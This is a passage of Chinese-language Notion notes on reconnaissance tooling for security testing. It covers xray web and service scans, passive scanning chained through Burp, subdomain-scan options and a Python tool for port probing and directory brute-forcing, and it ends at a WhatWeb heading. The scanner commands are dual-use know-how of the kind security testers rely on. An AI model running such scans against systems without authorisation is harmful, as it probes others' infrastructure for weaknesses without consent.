</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-afd81e13a35944e3a4a794f78e482343"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164555.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-f8a4ee8cb74447b4b3f9e199aa28e6fd" data-id="f8a4ee8cb74447b4b3f9e199aa28e6fd"><span><div id="f8a4ee8cb74447b4b3f9e199aa28e6fd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f8a4ee8cb74447b4b3f9e199aa28e6fd" title="-basic-crawler 爬虫式扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-basic-crawler 爬虫式扫描</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">.\\xray_windows_amd64.exe webscan --basic-crawler &lt;http://xx.com/&gt; --html-output xray-crawler-1111.html
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-3588439e199e44fe81b6fb9a3d4e8b7f" data-id="3588439e199e44fe81b6fb9a3d4e8b7f"><span><div id="3588439e199e44fe81b6fb9a3d4e8b7f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3588439e199e44fe81b6fb9a3d4e8b7f" title="burp联动被动扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">burp联动被动扫描</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-0667caddf6ab40dcb9b890a922f020ae"><li>xray开启web扫描侦听</li><ol class="notion-list notion-list-numbered notion-block-0667caddf6ab40dcb9b890a922f020ae"><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">.\\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xray-testphp.html
</code></pre></ol></ol><ol start="2" class="notion-list notion-list-numbered notion-block-abb36e93211f4581990974fe845c9b57"><li>burp设置代理转发</li><ol class="notion-list notion-list-numbered notion-block-abb36e93211f4581990974fe845c9b57"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-fdee142d87e64f71a926b96345eec45e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164629.png" alt="notion image" loading="lazy" decoding="async"/></div></figure></ol></ol><ol start="3" class="notion-list notion-list-numbered notion-block-b3796fa02b4a4f38b3eb55f5f42c1ac1"><li>浏览器设置burp代理，开始联动扫描</li></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-ddb60fdf56494d8981a4afa360aa92b4" data-id="ddb60fdf56494d8981a4afa360aa92b4"><span><div id="ddb60fdf56494d8981a4afa360aa92b4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ddb60fdf56494d8981a4afa360aa92b4" title="servicescan 服务扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">servicescan 服务扫描</span></span></h4><div class="notion-text notion-block-b41cf1c9f49e4bfb9cc94cc25eff8b32">速检测单个目标</div><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">.\\xray_windows_amd64.exe servicescan --target 127.0.0.1:8009
</code></pre><div class="notion-text notion-block-fa03dd0663a84b90b8059f26020e3f54">批量检查的 1.file 中的目标, 一行一个目标，带端口</div><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">./xray servicescan --target-file 1.file
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-03d50b92888141d881883c54f0029ca6" data-id="03d50b92888141d881883c54f0029ca6"><span><div id="03d50b92888141d881883c54f0029ca6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#03d50b92888141d881883c54f0029ca6" title="subdomain 子域名扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">subdomain 子域名扫描</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-e6a427256bf84f76b1fee86790497642" data-id="e6a427256bf84f76b1fee86790497642"><span><div id="e6a427256bf84f76b1fee86790497642" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e6a427256bf84f76b1fee86790497642" title="-target, -t"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-target, -t</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"></code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-2904371bc5c24b02998e5174a2c34c95" data-id="2904371bc5c24b02998e5174a2c34c95"><span><div id="2904371bc5c24b02998e5174a2c34c95" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2904371bc5c24b02998e5174a2c34c95" title="-no-brute"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-no-brute</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"></code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-42827988b9da4040ba797ab6715aca94" data-id="42827988b9da4040ba797ab6715aca94"><span><div id="42827988b9da4040ba797ab6715aca94" class="notion-header-anchor"></div><a class="notion-hash-link" href="#42827988b9da4040ba797ab6715aca94" title="-web-only"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-web-only</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"></code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-90def189c3f346049e3a4fbf5ae6bfa2" data-id="90def189c3f346049e3a4fbf5ae6bfa2"><span><div id="90def189c3f346049e3a4fbf5ae6bfa2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#90def189c3f346049e3a4fbf5ae6bfa2" title="-ip-only"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-ip-only</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"></code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-76baa76de41b40d0af0a19c112d19cdd" data-id="76baa76de41b40d0af0a19c112d19cdd"><span><div id="76baa76de41b40d0af0a19c112d19cdd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#76baa76de41b40d0af0a19c112d19cdd" title="-xxxx-output 结果输出"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-xxxx-output 结果输出</span></span></h4><ul class="notion-list notion-list-disc notion-block-df940ac710544c458581a2916cd06714"><li>-html-output 结果输出为html</li></ul><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">./xray servicescan --target 127.0.0.1:8009 --html-output service.html
</code></pre><ul class="notion-list notion-list-disc notion-block-ace73734591148c7a7383b84d82058a8"><li>-json-output 结果输出为json</li></ul><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">./xray servicescan --target 127.0.0.1:8099 --json-output 1.json
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-4d385315004a4179b7613c51ac6e1508" data-id="4d385315004a4179b7613c51ac6e1508"><span><div id="4d385315004a4179b7613c51ac6e1508" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4d385315004a4179b7613c51ac6e1508" title="WEBALIVESACAN"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">WEBALIVESACAN</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-cf2eee0afee64181b46680665ac50bf0" data-id="cf2eee0afee64181b46680665ac50bf0"><span><div id="cf2eee0afee64181b46680665ac50bf0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#cf2eee0afee64181b46680665ac50bf0" title="安装使用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">安装使用</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">pip3 install -r requirements.txt -i &lt;https://mirrors.aliyun.com/pypi/simple/&gt;
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-353df52852354fba9bab12c7bf73d69e" data-id="353df52852354fba9bab12c7bf73d69e"><span><div id="353df52852354fba9bab12c7bf73d69e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#353df52852354fba9bab12c7bf73d69e" title="-port 端口探测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-port 端口探测</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 webscan.py --target target.txt --port 80
python3 webscan.py --target target.txt --port large
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-612f493877ea456b9cba084f939a7706" data-id="612f493877ea456b9cba084f939a7706"><span><div id="612f493877ea456b9cba084f939a7706" class="notion-header-anchor"></div><a class="notion-hash-link" href="#612f493877ea456b9cba084f939a7706" title="-burte 目录探测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-burte 目录探测</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 webscan.py --target target.txt --port 80 --brute True
</code></pre><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2ef964179fce443eb3738701484580f1" data-id="2ef964179fce443eb3738701484580f1"><span><div id="2ef964179fce443eb3738701484580f1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ef964179fce443eb3738701484580f1" title="指纹识别-WEB识别"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">指纹识别-WEB识别</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-a3ba9ce6af9743099a183455078166b4" data-id="a3ba9ce6af9743099a183455078166b4"><span><div id="a3ba9ce6af9743099a183455078166b4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a3ba9ce6af9743099a183455078166b4" title="WHATWEB"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 